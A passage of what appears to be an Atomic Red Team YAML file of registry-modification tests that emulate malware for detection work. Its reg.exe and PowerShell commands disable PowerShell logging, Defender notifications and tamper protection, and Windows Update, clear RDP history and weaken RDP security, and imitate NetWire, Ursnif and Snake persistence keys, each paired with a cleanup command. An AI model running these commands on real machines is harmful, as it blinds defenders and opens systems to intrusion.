          /v NoFileMenu /f >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: Activate Windows NoClose Group Policy Feature
      auto_generated_guid: 12f50e15-dbc6-478b-a801-a746e8ba1723
      description: "Modify the registry of the currently logged in user using reg.exe
        via cmd console to Disable and remove the Shut Down command Group Policy.
        \nTake note that some Group Policy changes might require a restart to take
        effect.\nSee how Trojan abuses this technique- https://www.sophos.com/de-de/threat-center/threat-analyses/viruses-and-spyware/Troj~Krotten-N/detailed-analysis\n"
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
          /v NoClose /t REG_DWORD /d 1 /f

          '
        cleanup_command: 'reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
          /v NoClose /f >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: Activate Windows NoSetTaskbar Group Policy Feature
      auto_generated_guid: d29b7faf-7355-4036-9ed3-719bd17951ed
      description: "Modify the registry of the currently logged in user using reg.exe
        via cmd console to Disable changes to Taskbar and Start Menu Settings Group
        Policy. \nTake note that some Group Policy changes might require a restart
        to take effect.\nSee how ransomware abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details\n"
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
          /v NoSetTaskbar /t REG_DWORD /d 1 /f

          '
        cleanup_command: 'reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
          /v NoSetTaskbar /f >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: Activate Windows NoTrayContextMenu Group Policy Feature
      auto_generated_guid: 4d72d4b1-fa7b-4374-b423-0fe326da49d2
      description: "Modify the registry of the currently logged in user using reg.exe
        via cmd console to Disable context menu for taskbar Group Policy. \nTake note
        that some Group Policy changes might require a restart to take effect.\nSee
        how ransomware abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details\n"
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
          /v NoTrayContextMenu /t REG_DWORD /d 1 /f

          '
        cleanup_command: 'reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
          /v NoTrayContextMenu /f >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: Activate Windows NoPropertiesMyDocuments Group Policy Feature
      auto_generated_guid: 20fc9daa-bd48-4325-9aff-81b967a84b1d
      description: "Modify the registry of the currently logged in user using reg.exe
        via cmd console to hide Properties from \"My Documents icon\" Group Policy.
        \nTake note that some Group Policy changes might require a restart to take
        effect.\nSee how ransomware abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details\n"
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
          /v NoPropertiesMyDocuments /t REG_DWORD /d 1 /f

          '
        cleanup_command: 'reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
          /v NoPropertiesMyDocuments /f >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: Hide Windows Clock Group Policy Feature
      auto_generated_guid: 8023db1e-ad06-4966-934b-b6a0ae52689e
      description: "Modify the registry of the currently logged in user using reg.exe
        via cmd console to Hide Clock Group Policy. \nTake note that some Group Policy
        changes might require a restart to take effect.\nSee how ransomware abuses
        this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details\n"
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
          /v HideClock /t REG_DWORD /d 1 /f

          '
        cleanup_command: 'reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
          /v HideClock /f >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: Windows HideSCAHealth Group Policy Feature
      auto_generated_guid: a4637291-40b1-4a96-8c82-b28f1d73e54e
      description: "Modify the registry of the currently logged in user using reg.exe
        via cmd console to remove security and maintenance icon Group Policy. \nTake
        note that some Group Policy changes might require a restart to take effect.\nSee
        how ransomware abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details\n"
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
          /v HideSCAHealth /t REG_DWORD /d 1 /f

          '
        cleanup_command: 'reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
          /v HideSCAHealth /f >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: Windows HideSCANetwork Group Policy Feature
      auto_generated_guid: 3e757ce7-eca0-411a-9583-1c33b8508d52
      description: "Modify the registry of the currently logged in user using reg.exe
        via cmd console to remove the networking icon Group Policy. \nTake note that
        some Group Policy changes might require a restart to take effect.\nSee how
        ransomware abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details\n"
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
          /v HideSCANetwork /t REG_DWORD /d 1 /f

          '
        cleanup_command: 'reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
          /v HideSCANetwork /f >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: Windows HideSCAPower Group Policy Feature
      auto_generated_guid: 8d85a5d8-702f-436f-bc78-fcd9119496fc
      description: "Modify the registry of the currently logged in user using reg.exe
        via cmd console to remove the battery icon Group Policy. \nTake note that
        some Group Policy changes might require a restart to take effect.\nSee how
        ransomware abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details\n"
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
          /v HideSCAPower /t REG_DWORD /d 1 /f

          '
        cleanup_command: 'reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
          /v HideSCAPower /f >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: Windows HideSCAVolume Group Policy Feature
      auto_generated_guid: 7f037590-b4c6-4f13-b3cc-e424c5ab8ade
      description: "Modify the registry of the currently logged in user using reg.exe
        via cmd console to remove the volume icon Group Policy. \nTake note that some
        Group Policy changes might require a restart to take effect..\nSee how ransomware
        abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details\n"
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
          /v HideSCAVolume /t REG_DWORD /d 1 /f

          '
        cleanup_command: 'reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
          /v HideSCAVolume /f >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: Windows Modify Show Compress Color And Info Tip Registry
      auto_generated_guid: 795d3248-0394-4d4d-8e86-4e8df2a2693f
      description: "Modify the registry of the currently logged in user using reg.exe
        via cmd console to show compress color and show tips feature. \nSee how hermeticwiper
        uses this technique - https://www.splunk.com/en_us/blog/security/detecting-hermeticwiper.html\n"
      supported_platforms:
      - windows
      executor:
        command: |
          reg  add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowInfoTip /t REG_DWORD /d 0 /f
          reg  add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowCompColor /t REG_DWORD /d 0 /f
        cleanup_command: |
          reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowInfoTip /f >nul 2>&1
          reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowCompColor /f >nul 2>&1
        name: command_prompt
    - name: Windows Powershell Logging Disabled
      auto_generated_guid: 95b25212-91a7-42ff-9613-124aca6845a8
      description: |
        Modify the registry of the currently logged in user using reg.exe via cmd console to disable Powershell Module Logging, Script Block Logging, Transcription and Script Execution
        see https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.PowerShell::EnableModuleLogging
      supported_platforms:
      - windows
      executor:
        command: |
          reg  add HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging /v EnableModuleLogging /t REG_DWORD /d 0 /f
          reg  add HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging /v EnableScriptBlockLogging /t REG_DWORD /d 0 /f
          reg  add HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription /v EnableTranscripting /t REG_DWORD /d 0 /f
          reg  add HKCU\Software\Policies\Microsoft\Windows\PowerShell /v EnableScripts /t REG_DWORD /d 0 /f
          reg delete HKCU\Software\Policies\Microsoft\Windows\PowerShell /v EnableScripts /f >nul 2>&1
        cleanup_command: |
          reg delete HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging /v EnableModuleLogging /f >nul 2>&1
          reg delete HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging /v EnableScriptBlockLogging /f >nul 2>&1
          reg delete HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription /v EnableTranscripting /f >nul 2>&1
        name: command_prompt
        elevation_required: true
    - name: Windows Add Registry Value to Load Service in Safe Mode without Network
      auto_generated_guid: 1dd59fb3-1cb3-4828-805d-cf80b4c3bbb5
      description: |
        Modify the registry to allow a driver, service, to persist in Safe Mode.
        see https://redcanary.com/blog/tracking-driver-inventory-to-expose-rootkits/ and https://blog.didierstevens.com/2007/03/26/playing-with-safe-mode/ for further details.
        Adding a subkey to Minimal with the name of your service and a default value set to Service, makes that your service will be started when you boot into Safe Mode without networking. The same applies for the Network subkey.
      supported_platforms:
      - windows
      executor:
        command: 'REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\AtomicSafeMode"
          /VE /T REG_SZ /F /D "Service"

          '
        cleanup_command: 'reg delete "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\AtomicSafeMode"
          /f

          '
        name: command_prompt
        elevation_required: true
    - name: Windows Add Registry Value to Load Service in Safe Mode with Network
      auto_generated_guid: c173c948-65e5-499c-afbe-433722ed5bd4
      description: |
        Modify the registry to allow a driver, service, to persist in Safe Mode with networking.
        see https://redcanary.com/blog/tracking-driver-inventory-to-expose-rootkits/ and https://blog.didierstevens.com/2007/03/26/playing-with-safe-mode/ for further details.
        Adding a subkey to Netowrk with the name of your service and a default value set to Service, makes that your service will be started when you boot into Safe Mode with networking.
      supported_platforms:
      - windows
      executor:
        command: 'REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AtomicSafeMode"
          /VE /T REG_SZ /F /D "Service"

          '
        cleanup_command: 'reg delete "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AtomicSafeMode"
          /f

          '
        name: command_prompt
        elevation_required: true
    - name: Disable Windows Toast Notifications
      auto_generated_guid: 003f466a-6010-4b15-803a-cbb478a314d7
      description: |
        Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows toast notification.
        See how azorult malware abuses this technique- https://app.any.run/tasks/a6f2ffe2-e6e2-4396-ae2e-04ea0143f2d8/
      supported_platforms:
      - windows
      executor:
        command: 'reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifications
          /v ToastEnabled /t REG_DWORD /d 0 /f

          '
        cleanup_command: 'reg delete HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifications
          /v ToastEnabled /f >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: Disable Windows Security Center Notifications
      auto_generated_guid: 45914594-8df6-4ea9-b3cc-7eb9321a807e
      description: |
        Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows security center notification.
        See how azorult malware abuses this technique- https://app.any.run/tasks/a6f2ffe2-e6e2-4396-ae2e-04ea0143f2d8/
      supported_platforms:
      - windows
      executor:
        command: 'reg add HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ImmersiveShell
          /v UseActionCenterExperience /t REG_DWORD /d 0 /f

          '
        cleanup_command: 'reg delete HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ImmersiveShell
          /v UseActionCenterExperience /f >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: Suppress Win Defender Notifications
      auto_generated_guid: c30dada3-7777-4590-b970-dc890b8cf113
      description: |
        Modify the registry of the currently logged in user using reg.exe via cmd console to suppress the windows defender notification.
        See how azorult malware abuses this technique- https://app.any.run/tasks/a6f2ffe2-e6e2-4396-ae2e-04ea0143f2d8/
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\UX Configuration"
          /v Notification_Suppress /t REG_DWORD /d 1 /f

          '
        cleanup_command: 'reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\UX
          Configuration" /v Notification_Suppress /f >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: Allow RDP Remote Assistance Feature
      auto_generated_guid: 86677d0e-0b5e-4a2b-b302-454175f9aa9e
      description: |
        Modify the registry of the currently logged in user using reg.exe via cmd console to allow rdp remote assistance feature. This feature allow specific
        user to rdp connect on the targeted machine.
        See how azorult malware abuses this technique- https://app.any.run/tasks/a6f2ffe2-e6e2-4396-ae2e-04ea0143f2d8/
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKLM\System\CurrentControlSet\Control\Terminal Server"
          /v fAllowToGetHelp /t REG_DWORD /d 1 /f

          '
        cleanup_command: 'reg delete "HKLM\System\CurrentControlSet\Control\Terminal
          Server" /v fAllowToGetHelp /f >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: NetWire RAT Registry Key Creation
      auto_generated_guid: 65704cd4-6e36-4b90-b6c1-dc29a82c8e56
      description: |
        NetWire continues to create its home key (HKCU\SOFTWARE\NetWire) as well as adding it into the auto-run group in the victim’s registry.
        See how NetWire malware - https://app.any.run/tasks/41ecdbde-4997-4301-a350-0270448b4c8f/
      supported_platforms:
      - windows
      executor:
        command: |
          reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v NetWire /t REG_SZ  /d "C:\Users\admin\AppData\Roaming\Install\Host.exe" /f
          reg add HKCU\SOFTWARE\NetWire /v HostId /t REG_SZ /d HostId-kai6Ci /f
          reg add HKCU\SOFTWARE\NetWire /v "Install Date" /t REG_SZ /d "2021-08-30 07:17:27" /f
        cleanup_command: |
          reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v NetWire /f >nul 2>&1
          reg delete HKCU\SOFTWARE\NetWire /va /f >nul 2>&1
          reg delete HKCU\SOFTWARE\NetWire /f >nul 2>&1
        name: command_prompt
    - name: Ursnif Malware Registry Key Creation
      auto_generated_guid: c375558d-7c25-45e9-bd64-7b23a97c1db0
      description: |
        Ursnif downloads additional modules from the C&C server and saves these in the registry folder HKEY_CURRENT_USER\Software\AppDataLow\Software\Microsoft\
        More information - https://blog.trendmicro.com/trendlabs-security-intelligence/phishing-campaign-uses-hijacked-emails-to-deliver-ursnif-by-replying-to-ongoing-threads/
      supported_platforms:
      - windows
      executor:
        command: 'reg add HKCU\Software\AppDataLow\Software\Microsoft\3A861D62-51E0-15700F2219A4
          /v comsxRes /t REG_BINARY  /d 72656463616e617279 /f

          '
        cleanup_command: |
          reg delete HKCU\Software\AppDataLow\Software\Microsoft\3A861D62-51E0-15700F2219A4 /va /f >nul 2>&1
          reg delete HKCU\Software\AppDataLow\Software\Microsoft\3A861D62-51E0-15700F2219A4 /f >nul 2>&1
        name: command_prompt
    - name: Terminal Server Client Connection History Cleared
      auto_generated_guid: 3448824b-3c35-4a9e-a8f5-f887f68bea21
      description: 'The built-in Windows Remote Desktop Connection (RDP) client (mstsc.exe)
        saves the remote computer name (or IP address) and the username that is used
        to login after each successful connection to the remote computer

        '
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: "Must have the \"MR9\" Remote Desktop Connection history Key
          \n"
        prereq_command: 'if ((Get-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Terminal
          Server Client\Default\").MR9) {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -path "HKCU:\SOFTWARE\Microsoft\" -name "Terminal Server Client"  -ErrorAction Ignore
          New-Item -path "HKCU:\SOFTWARE\Microsoft\Terminal Server Client\" -name "Default" -ErrorAction Ignore
          New-Itemproperty -path "HKCU:\SOFTWARE\Microsoft\Terminal Server Client\Default" -name "MR9" -value "127.0.0.1"  -PropertyType "String" -ErrorAction Ignore
          New-Item -path "HKCU:\SOFTWARE\Microsoft\Terminal Server Client\" -name "Servers" -ErrorAction Ignore
          New-Item -path "HKCU:\SOFTWARE\Microsoft\Terminal Server Client\Servers" -name "Redcanary" -ErrorAction Ignore
      executor:
        command: |
          reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
          reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
        name: command_prompt
        elevation_required: true
    - name: Disable Windows Error Reporting Settings
      auto_generated_guid: d2c9e41e-cd86-473d-980d-b6403562e3e1
      description: "Modify the registry of the currently logged in user using reg.exe
        via cmd console to disable windows error reporting settings. This Windows
        feature allow the use to report bug, errors, failure or problems \nencounter
        in specific application or process.\nSee how azorult malware abuses this technique-
        https://app.any.run/tasks/a6f2ffe2-e6e2-4396-ae2e-04ea0143f2d8/\n"
      supported_platforms:
      - windows
      executor:
        command: |
          reg add HKLM64\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f
          reg add HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f
        cleanup_command: |
          reg delete HKLM64\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting /v DisableEnhancedNotifications /f >nul 2>&1
          reg delete HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting /v DisableEnhancedNotifications /f >nul 2>&1
        name: command_prompt
        elevation_required: true
    - name: DisallowRun Execution Of Certain Applications
      auto_generated_guid: 71db768a-5a9c-4047-b5e7-59e01f188e84
      description: "Modify the registry of the currently logged in user using reg.exe
        via cmd console to prevent user running specific computer programs that could
        aid them in manually removing malware or detecting it \nusing security product.\n"
      supported_platforms:
      - windows
      executor:
        command: |
          reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v DisallowRun /t REG_DWORD /d 1 /f
          reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /f /t REG_SZ /v art1 /d "regedit.exe"
          reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /f /t REG_SZ /v art2 /d "cmd.exe"
        cleanup_command: |
          reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v DisallowRun /f >nul 2>&1
          reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v art1 /f >nul 2>&1
          reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v art2 /f >nul 2>&1
        name: command_prompt
        elevation_required: true
    - name: Enabling Restricted Admin Mode via Command_Prompt
      auto_generated_guid: fe7974e5-5813-477b-a7bd-311d4f535e83
      description: |
        Enabling Restricted Admin Mode via Command_Prompt,enables an attacker to perform a pass-the-hash attack using RDP.

        See [Passing the Hash with Remote Desktop](https://www.kali.org/blog/passing-hash-remote-desktop/)
      supported_platforms:
      - windows
      executor:
        command: 'reg add "hklm\system\currentcontrolset\control\lsa" /f /v DisableRestrictedAdmin
          /t REG_DWORD /d 0

          '
        cleanup_command: 'reg delete "hklm\system\currentcontrolset\control\lsa" /f
          /v DisableRestrictedAdmin >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: Mimic Ransomware - Enable Multiple User Sessions
      auto_generated_guid: 39f1f378-ba8a-42b3-96dc-2a6540cfc1e3
      description: "This test emulates Mimic ransomware's ability to enable multiple
        user sessions by modifying the AllowMultipleTSSessions value within the Winlogon
        registry key. \nSee [Mimic Ransomware Overview] (https://www.trendmicro.com/en_us/research/23/a/new-mimic-ransomware-abuses-everything-apis-for-its-encryption-p.html)\n"
      supported_platforms:
      - windows
      executor:
        command: 'reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Winlogon
          /t REG_DWORD /v AllowMultipleTSSessions /d 1 /f

          '
        cleanup_command: 'reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Winlogon
          /v AllowMultipleTSSessions /f >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: Mimic Ransomware - Allow Multiple RDP Sessions per User
      auto_generated_guid: 35727d9e-7a7f-4d0c-a259-dc3906d6e8b9
      description: "This test emulates Mimic ransomware's ability to enable multiple
        RDP sessions per user by modifying the fSingleSessionPerUser value within
        the Terminal Server registry key. \nSee [Mimic Ransomware Overview] (https://www.trendmicro.com/en_us/research/23/a/new-mimic-ransomware-abuses-everything-apis-for-its-encryption-p.html)\n"
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKLM\System\CurrentControlSet\Control\Terminal Server"
          /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

          '
        cleanup_command: 'reg delete "HKLM\System\CurrentControlSet\Control\Terminal
          Server" /v fSingleSessionPerUser /f >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: Event Viewer Registry Modification - Redirection URL
      auto_generated_guid: 6174be7f-5153-4afd-92c5-e0c3b7cdb5ae
      description: Modify event viewer registry values to alter the behavior of the
        online help redirection. Upon opening an event in event viewer and attempting
        to view the help page for the event, it will open the URL or execute the program
        defined in the redirection URL registry entry.
      supported_platforms:
      - windows
      input_arguments:
        redirection_url:
          description: URL to open or file URI to execute upon opening the event help
          type: url
          default: file://C:\windows\system32\notepad.exe
      executor:
        command: reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Event
          Viewer" /v MicrosoftRedirectionURL /t REG_SZ /d "#{redirection_url}" /f
        cleanup_command: reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Event
          Viewer" /v MicrosoftRedirectionURL /t REG_SZ /d "http://go.microsoft.com/fwlink/events.asp"
          /f
        name: command_prompt
        elevation_required: true
    - name: Event Viewer Registry Modification - Redirection Program
      auto_generated_guid: 81483501-b8a5-4225-8b32-52128e2f69db
      description: Modify event viewer registry values to alter the behavior of the
        online help redirection. Upon opening an event in event viewer and attempting
        to view the help page for the event, it will execute the program defined in
        the redirection program registry entry.
      supported_platforms:
      - windows
      input_arguments:
        redirection_program:
          description: Path of the program to execute upon opening the event help
          type: path
          default: C:\windows\system32\notepad.exe
      executor:
        command: reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Event
          Viewer" /v MicrosoftRedirectionProgram /t REG_EXPAND_SZ /d "#{redirection_program}"
          /f
        cleanup_command: reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Event
          Viewer" /v MicrosoftRedirectionProgram /t REG_EXPAND_SZ /f
        name: command_prompt
        elevation_required: true
    - name: Enabling Remote Desktop Protocol via Remote Registry
      auto_generated_guid: e3ad8e83-3089-49ff-817f-e52f8c948090
      description: 'Enabling RDP through remote registry.

        '
      supported_platforms:
      - windows
      executor:
        command: 'reg add "hklm\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp"
          /v SecurityLayer /t REG_DWORD /d 0 /f

          '
        cleanup_command: 'reg add "hklm\SYSTEM\CurrentControlSet\Control\Terminal
          Server\Winstations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d 2 /f

          '
        name: command_prompt
        elevation_required: true
    - name: Disable Win Defender Notification
      auto_generated_guid: 12e03af7-79f9-4f95-af48-d3f12f28a260
      description: 'Disable Win Defender Notification. Redline is using this to disable
        this win defender feature.

        '
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security
          Center\Notifications" /v "DisableNotifications" /t REG_DWORD /d 1 /f

          '
        cleanup_command: 'reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender
          Security Center\Notifications" /v "DisableNotifications" /t REG_DWORD /d
          0 /f

          '
        name: command_prompt
        elevation_required: true
    - name: Disable Windows OS Auto Update
      auto_generated_guid: 01b20ca8-c7a3-4d86-af59-059f15ed5474
      description: 'Disable Auto Update Windows OS feature. Redline is using this
        as part of its defense evasion.

        '
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU"
          /v "NoAutoUpdate" /t REG_DWORD /d 1 /f

          '
        cleanup_command: 'reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU"
          /v "NoAutoUpdate" /t REG_DWORD /d 0 /f

          '
        name: command_prompt
        elevation_required: true
    - name: Disable Windows Auto Reboot for current logon user
      auto_generated_guid: 396f997b-c5f8-4a96-bb2c-3c8795cf459d
      description: 'Disable Windows Auto Reboot for current logon user. Redline is
        using this as part of its defense evasion.

        '
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU"
          /v "NoAutoRebootWithLoggedOnUsers" /t REG_DWORD /d 1 /f

          '
        cleanup_command: 'reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU"
          /v "NoAutoRebootWithLoggedOnUsers" /t REG_DWORD /d 0 /f

          '
        name: command_prompt
        elevation_required: true
    - name: Windows Auto Update Option to Notify before download
      auto_generated_guid: 335a6b15-b8d2-4a3f-a973-ad69aa2620d7
      description: 'Windows Auto Update Option to Notify before download. Redline
        is using this as part of its defense evasion.

        '
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU"
          /v "AUOptions" /t REG_DWORD /d 2 /f

          '
        cleanup_command: 'reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU"
          /v "AUOptions" /t REG_DWORD /d 3 /f

          '
        name: command_prompt
        elevation_required: true
    - name: Do Not Connect To Win Update
      auto_generated_guid: d1de3767-99c2-4c6c-8c5a-4ba4586474c8
      description: 'Do Not Connect To Win Update. Redline is using this as part of
        its defense evasion.

        '
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate"
          /v "DoNotConnectToWindowsUpdateInternetLocations" /t REG_DWORD /d 1 /f

          '
        cleanup_command: 'reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate"
          /v "DoNotConnectToWindowsUpdateInternetLocations" /t REG_DWORD /d 0 /f

          '
        name: command_prompt
        elevation_required: true
    - name: Tamper Win Defender Protection
      auto_generated_guid: 3b625eaa-c10d-4635-af96-3eae7d2a2f3c
      description: "Tamper Win Defender Protection. RedLine Stealer is executing another
        component file to modify this win defender feature in registry. \nTake note
        that this modification might not be enough to disable this feature but can
        be a good indicator of malicious process that \ntries to tamper this Win Defender
        feature settings.\n"
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection"
          /t REG_DWORD /d 0 /f

          '
        cleanup_command: 'reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features"
          /v "TamperProtection" /t REG_DWORD /d 5 /f

          '
        name: command_prompt
        elevation_required: true
    - name: Snake Malware Registry Blob
      auto_generated_guid: 8318ad20-0488-4a64-98f4-72525a012f6b
      description: |
        The following Atomic Test creates a registry blob in HKLM:\SOFTWARE\Classes\.wav\OpenWithProgIds, which is related to Snake Malware. Per the report, upon execution, Snake's WerFault.exe will attempt to decrypt an encrypted blob within the Windows
        registry that is typically found at HKLM:\SOFTWARE\Classes\.wav\OpenWithProgIds. The encrypted data includes the AES key, IV, and path that is used to find and decrypt the file containing Snake's kernel driver and kernel driver loader.
      supported_platforms:
      - windows
      executor:
        command: '$typicalPath = "HKLM:\SOFTWARE\Classes\.wav\OpenWithProgIds"; $randomBytes
          = New-Object Byte[] 0x1000; (New-Object Random).NextBytes($randomBytes);
          New-ItemProperty -Path $typicalPath -Name "AtomicSnake" -Value $randomBytes
          -PropertyType Binary -Force | Out-Null

          '
        cleanup_command: '$typicalPath = "HKLM:\SOFTWARE\Classes\.wav\OpenWithProgIds";
          Remove-ItemProperty -Path $typicalPath -Name "AtomicSnake" -ErrorAction
          SilentlyContinue | Out-Null

          '
        name: powershell
        elevation_required: true
    - name: Allow Simultaneous Download Registry
